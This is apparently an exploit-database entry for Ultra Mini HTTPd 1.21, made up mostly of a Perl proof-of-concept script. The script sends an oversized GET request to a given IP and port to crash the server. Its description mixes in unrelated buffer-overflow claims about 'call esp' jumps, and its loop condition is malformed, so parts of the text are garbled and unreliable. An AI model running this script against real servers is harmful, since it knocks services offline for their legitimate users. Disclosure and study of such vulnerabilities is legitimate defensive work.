Ultra Mini HTTPd 1.21 Denial Of Service

# Exploit Title: Ultra Mini HTTPd 1.21 - Denial of Service (DoS)# Discovery by: Fernando Mengali# Discovery Date: 2024-01-01# Vendor Homepage: https://acme.com/# Software Link: https://acme.com/# Notification vendor: Yes reported# Tested Version: Ultra Mini HTTPd 1.21# Tested on: Window XP Professional - Service Pack 2 and 3 - English# Vulnerability Type: Denial of Service (DoS)# Vídeo: https://www.youtube.com/watch?v=HWOGeg3e5As#1. Description#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).#For this exploit I have tried several strategies to increase reliability and performance:#Jump to a static 'call esp'#Backwards jump to code a known distance from the stack pointer.#The server did not properly handle request with large amounts of data via GET.#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.#2. Proof of Concept - PoC    $sis="$^O";    if ($sis eq "windows"){      $cmd="cls";    } else {      $cmd="clear";    }    system("$cmd");        intro();    main();        print "[+] Exploiting... \n";    my $buffer = "\x41"x192;    my $payload = 'A' x 5438 . $buffer;    my $i=0;    while (i < 1) {        my $socket = IO::Socket::INET->new(        PeerAddr => $ip,        PeerPort => $port,        Proto    => 'tcp',    ) or die "Can't connect!!!!! \n\n";    my $payload = "GET / $payload HTTP/1.1\r\nHost:$ip\r\n\r\n";    $socket->send($payload);    close($socket);    $i++;    }      print "[+] Exploited success!!!!!\n\n";     sub intro {      print "***************************************************\n";      print "*    Ultra Mini HTTPd 1.21 - Denied of Service    *\n";      print "*                                                 *\n";      print "*            Coded by Fernando Mengali            *\n";      print "*                                                 *\n";      print "*      e-mail: fernando.mengalli\@gmail.com       *\n";      print "*                                                 *\n";      print "***************************************************\n";  }  sub main {      our ($ip, $port) = @ARGV;      unless (defined($ip) && defined($port)) {        print "       \nUsage: $0 <ip> <port>                 \n";        exit(-1);      }  }#3. Solution/ How to fix:# This version product is deprecated.